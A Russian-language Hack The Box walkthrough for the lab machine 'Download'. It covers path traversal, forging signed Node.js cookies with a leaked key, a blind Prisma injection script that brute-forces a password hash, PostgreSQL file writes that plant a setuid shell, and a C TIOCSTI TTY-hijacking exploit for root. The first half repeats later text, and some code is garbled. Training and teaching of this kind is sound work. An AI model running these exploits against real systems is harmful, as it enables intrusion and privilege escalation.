stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я продемонстрирую технику TTY hijacking, которая позволяет захватить сессию терминала суперпользователя. Также проэксплуатируем path traversal для получения доступа к исходному коду приложения на Node.js, украдем сессию пользователя через создание cookie и применим слепую инъекцию для получения конфиденциальной информации.
Нашей целью будет захват тренировочной машины Download с площадки Hack The Box. Уровень ее — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
Страница /files/upload
Просматривая этот запрос в Burp History, увидим типичную для приложения на Node.js форму cookie.
Запрос в Burp History
Авторизуемся на сайте, декодируем значение download_session и проверим, что изменилось.
Главная страница авторизованного пользователя
Запрос в Burp History
У нас появился параметр user, содержащий имя пользователя и его идентификатор. Также для проверки я загрузил файл и увидел, что сообщение о выполнении действия попадает в параметр success.
Результат загрузки файла
Запрос в Burp History
Для просмотра ссылки Войдиили Зарегистрируйся
В итоге получаем содержимое package.json, откуда узнаем, что основной файл называется app.js, а также имя пользователя — wesley. Теперь тем же способом запросим файл app.js.
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое файла app.js
Получаем ключ для подписи куки (строка 39), а еще видим использование SQL-запросов (строка 59).
или Зарегистрируйся. Установим ее.
Сохраним значение куки в файл и поменяем имя пользователя на wesley. Затем сгенерируем нужные нам значения.
Создание cookie для пользователя wesley
Подставляем сгенерированные значения в запрос и получаем страницу нового пользователя.
Страница в Burp Repeater
В окружении пользователя на сайте ничего не находим, поэтому продолжим просматривать исходные коды. В уже известном нам файле app.js отмечаем подключаемые модули.
Содержимое файла app.js
Первым делом я просмотрел содержимое файла routers/auth.js. Наиболее интересен в нем блок кода для получения пользователя с помощью функции findFirst (строки 41–44).
Содержимое файла routers/auth.js
Кроме параметра имени пользователя, есть еще и параметр password. Учитывая, что для выборки из базы используется findFirst, можно протестировать инъекцию, основанную на использовании в передаваемых параметрах других операторов: contains, startWith и прочих возвращающих булевы значения. К примеру, следующее значение cookie отобразило файлы пользователя!
Запрос в Burp Repeater
В самих файлах ничего интересного нет, зато мы можем попытаться подобрать хеш пароля пользователя.
Результат работы скрипта
Спустя несколько минут получаем хеш MD5 и расшифровываем пароль при помощи сервиса Для просмотра ссылки Войдиили Зарегистрируйся.
Результат взлома хеша
С полученными учетными данными авторизуемся по SSH и забираем флаг пользователя.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, нам нужно отобрать только значимую.
В списке процессов отмечаем работающий PostgreSQL, об этом говорит и прослушиваемый порт 5432. Также у пользователя, от имени которого работает СУБД, есть своя консоль.
Список процессов
Прослушиваемые порты
Пользователи с консолью
Еще полезно просматривать запускаемые процессы с помощью Для просмотра ссылки Войдиили Зарегистрируйся. Именно это и помогло мне обнаружить, что в системе работает пользовательская служба download-site, а также отметить, что в систему залогинен пользователь postgres.
Логи pspy64
Просматриваем файл службы /etc/systemd/system/download-site.service. В переменной окружения для запуска процесса находим переменную DATABASE_URL, а в URL — учетные данные для подключения к базе данных.
Содержимое файла download-site.service
Подключаемся к базе и получаем информацию о пользователях.
Информация о пользователях СУБД
Наш пользователь — член группы pg_write_server_files, а значит, имеет право на запись в файлы. Для персистентности следующими командами назначим файлу командной оболочки S-бит:
В качестве метода персистентности запишем данные команды в файлы /var/lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так как выполняется вход от имени пользователя, будут выполнены команды из этих файлов.
Спустя некоторое время проверяем, не появился ли файл /bin/bash в каталоге /tmp.
Содержимое каталога /tmp
У файла выставлен S-бит, а значит, мы можем получить сессию от имени пользователя postgres.
Сессия пользователя postgres
Текущий терминал программы всегда доступен через файл /dev/tty. Мы можем его открыть от имени пользователя без полномочий, а затем использовать сискол ioctl для подделки пользовательского ввода. Это позволит нам вводить команды в чужой терминал. Для эксплуатации этой техники можно использовать следующий эксплоит:
Здесь сначала завершается работа текущей командной оболочки пользователя (exit\n), а затем записывается уже знакомая полезная нагрузка. После завершения работы командной оболочки пользователя postgres шелл пользователя root считывает поддельный пользовательский ввод и выполняет его.
Компилируем эксплоит и даем права на выполнение для всех.
Теперь повторим технику выполнения файла через bash_profile и bashrc, после чего проверим, появился ли файл командной оболочки, но уже созданный рутом.
Содержимое каталога /tmp
Атака прошла успешно, теперь мы можем перейти к сессии root и забрать второй флаг.
Флаг рута
Машина захвачена!
Нашей целью будет захват тренировочной машины Download с площадки Hack The Box. Уровень ее — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в файл /etc/hosts:10.10.11.226 download.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0.
Точка входа
Изучая сайт, находим форму загрузки файлов.Просматривая этот запрос в Burp History, увидим типичную для приложения на Node.js форму cookie.
Авторизуемся на сайте, декодируем значение download_session и проверим, что изменилось.
У нас появился параметр user, содержащий имя пользователя и его идентификатор. Также для проверки я загрузил файл и увидел, что сообщение о выполнении действия попадает в параметр success.
Точка опоры
Path traversal
Страница /files/download/ отдает нам файл при скачивании. Стоит проверить, нет ли здесь уязвимости обхода каталога. Сделать это можно, запросив файл package.json, характерный для программ на Node.js. Я использую Burp Intruder и словарь с разными вариантами указания пути к файлу.Для просмотра ссылки Войди
В итоге получаем содержимое package.json, откуда узнаем, что основной файл называется app.js, а также имя пользователя — wesley. Теперь тем же способом запросим файл app.js.
Для просмотра ссылки Войди
Получаем ключ для подписи куки (строка 39), а еще видим использование SQL-запросов (строка 59).
Cookie
Имея ключ, мы можем манипулировать значениями куки, создавая и подписывая их для любого пользователя. В этом нам поможет утилита Для просмотра ссылки Войди
Код:
npm install --global yarn
git clone https://github.com/DigitalInterruption/cookie-monster
cd cookie-monster
yarn install
yarn link
Сохраним значение куки в файл и поменяем имя пользователя на wesley. Затем сгенерируем нужные нам значения.
./cookie-monster.js -e -f cookie.txt -k 8929874489719802418902487651347865819634518936754 -n download_session
Подставляем сгенерированные значения в запрос и получаем страницу нового пользователя.
В окружении пользователя на сайте ничего не находим, поэтому продолжим просматривать исходные коды. В уже известном нам файле app.js отмечаем подключаемые модули.
Первым делом я просмотрел содержимое файла routers/auth.js. Наиболее интересен в нем блок кода для получения пользователя с помощью функции findFirst (строки 41–44).
Кроме параметра имени пользователя, есть еще и параметр password. Учитывая, что для выборки из базы используется findFirst, можно протестировать инъекцию, основанную на использовании в передаваемых параметрах других операторов: contains, startWith и прочих возвращающих булевы значения. К примеру, следующее значение cookie отобразило файлы пользователя!
Код:
{
"flashes":{
"info":[],
"error":[],
"success":[""]
},
"user":{
"username":{
"contains": "WESLEY"
},
"password":{
"startsWith":""
}
}
}
В самих файлах ничего интересного нет, зато мы можем попытаться подобрать хеш пароля пользователя.
Автоматизация
Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как только реальный хеш будет начинаться с указанной последовательности, мы получим отличный от остальных случаев ответ и начнем перебирать следующий символ хеша.
Код:
import subprocess
import json
import requests
passwd = ""
chars = "0123456789abcdef"
tmp_pass = ""
def getCookie(password):
data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{"username":{"contains": "WESLEY"},"password":{"startsWith"assword}}}
with open("cookie.txt","w") as f:
f.write(json.dumps(data))
out = subprocess.check_output(["./cookie-monster/bin/cookie-monster.js", "-e", "-f", "cookie.txt", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode()
index1 = out.index("download_session=") + len("download_session=")
out = out[index1:]
sess = out[ut.index("\x1b")]
index2 = out.index("download_session.sig=") + len("download_session.sig=")
out = out[index2:]
sig = out[ut.index("\x1b")]
return sess, sig
for i in range(32):
for c in chars:
tmp_pass = passwd + c
print("Hash: " + tmp_pass, end='\r')
sess, sig = getCookie(tmp_pass)
cookie = {"download_session": sess, "download_session.sig": sig}
r = requests.get('http://download.htb/home/', cookies=cookie)
if( len(r.text) != 2174 ):
passwd = tmp_pass
break
print("Hash: " + passwd)
Спустя несколько минут получаем хеш MD5 и расшифровываем пароль при помощи сервиса Для просмотра ссылки Войди
С полученными учетными данными авторизуемся по SSH и забираем флаг пользователя.
Продвижение
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, нам нужно отобрать только значимую.
В списке процессов отмечаем работающий PostgreSQL, об этом говорит и прослушиваемый порт 5432. Также у пользователя, от имени которого работает СУБД, есть своя консоль.
Еще полезно просматривать запускаемые процессы с помощью Для просмотра ссылки Войди
Просматриваем файл службы /etc/systemd/system/download-site.service. В переменной окружения для запуска процесса находим переменную DATABASE_URL, а в URL — учетные данные для подключения к базе данных.
Подключаемся к базе и получаем информацию о пользователях.
Код:
psql -h localhost -p 5432 -U download
\du
Наш пользователь — член группы pg_write_server_files, а значит, имеет право на запись в файлы. Для персистентности следующими командами назначим файлу командной оболочки S-бит:
Код:
cp /bin/bash /tmp/psql_bash
chmod 4777 /tmp/psql_bash
В качестве метода персистентности запишем данные команды в файлы /var/lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так как выполняется вход от имени пользователя, будут выполнены команды из этих файлов.
Код:
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bash_profile';
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bashrc';
Спустя некоторое время проверяем, не появился ли файл /bin/bash в каталоге /tmp.
У файла выставлен S-бит, а значит, мы можем получить сессию от имени пользователя postgres.
Локальное повышение привилегий
TTY hijacking
Увы, этому пользователю ничего интересного не доступно. Тогда вернемся к способу входа через su -l. Здесь можно попробовать попасть в сессию пользователя, от имени которого выполняется команда su. Эта техника называется TTY hijacking. Хотя sudo и su в данном случае меняют UID исполняемого процесса на UID пользователя без полномочий, терминал по‑прежнему остается терминалом пользователя root и, как оказалось, доступен непривилегированному пользователю.Текущий терминал программы всегда доступен через файл /dev/tty. Мы можем его открыть от имени пользователя без полномочий, а затем использовать сискол ioctl для подделки пользовательского ввода. Это позволит нам вводить команды в чужой терминал. Для эксплуатации этой техники можно использовать следующий эксплоит:
Код:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod 4777 /tmp/root_bash'\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}
Здесь сначала завершается работа текущей командной оболочки пользователя (exit\n), а затем записывается уже знакомая полезная нагрузка. После завершения работы командной оболочки пользователя postgres шелл пользователя root считывает поддельный пользовательский ввод и выполняет его.
Компилируем эксплоит и даем права на выполнение для всех.
Код:
gcc exploit.c -static -o lpe.bin
chmod 777 /tmp/lpe.bin
Теперь повторим технику выполнения файла через bash_profile и bashrc, после чего проверим, появился ли файл командной оболочки, но уже созданный рутом.
Код:
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bash_profile';
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bashrc';
Атака прошла успешно, теперь мы можем перейти к сессии root и забрать второй флаг.
Машина захвачена!